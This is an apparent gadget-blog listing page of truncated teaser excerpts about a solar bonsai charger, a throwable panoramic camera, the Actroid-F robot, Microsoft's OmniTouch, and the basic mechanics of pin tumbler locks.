Styled on the look of a small bonsai tree this charger uses twenty seven solar panels on the end of each branch to produce energy from the sun and then charge the internal battery. Once charged it can provide thirty six hours of charging power for all sorts of portable devices and the great thing is that it keeps charging so long as there is sunlight. This how the Electree Solar Bonsai works; The 27 solar panels installed at the tip of the branches capture the solar energy which is then stored Read more [...]

We present the Throwable Panoramic Ball Camera which captures a full spherical panorama when thrown into the air.

Her maker, Japan-based robot maker Kokoro, says that she is supposed to give patients a heightened sense of security. Actroid-F is very realistic, but actually, she is pretty creepy, too – as you can see in the video embedded below (in which she’s replicating the operators facial expressions and body movements, this is 3 years old however...). var url Read more [...]

  Alongside the PocketTouch technology, Microsoft has also been supporting research on something a lot more visual, a lot more flashy, and a lot more versatile: OmniTouch. While mobile technology has been centering around increasing responsive and sleek touchscreens for the past few years, OmniTouch takes things in a bit of a different direction by using a projectorto make any flat surface into a “touchscreen.” At the moment, OmniTouch is pretty primitive and requires the user to wear a shoulder-mounted Read more [...]

The project is still far Read more [...]

Tumblers have five or six holes with rounded key pins of various height in them, each needing to meet an exact height or the cylinder in the center (the lock itself) will not be allowed to turn. This is the reason why you Read more [...]
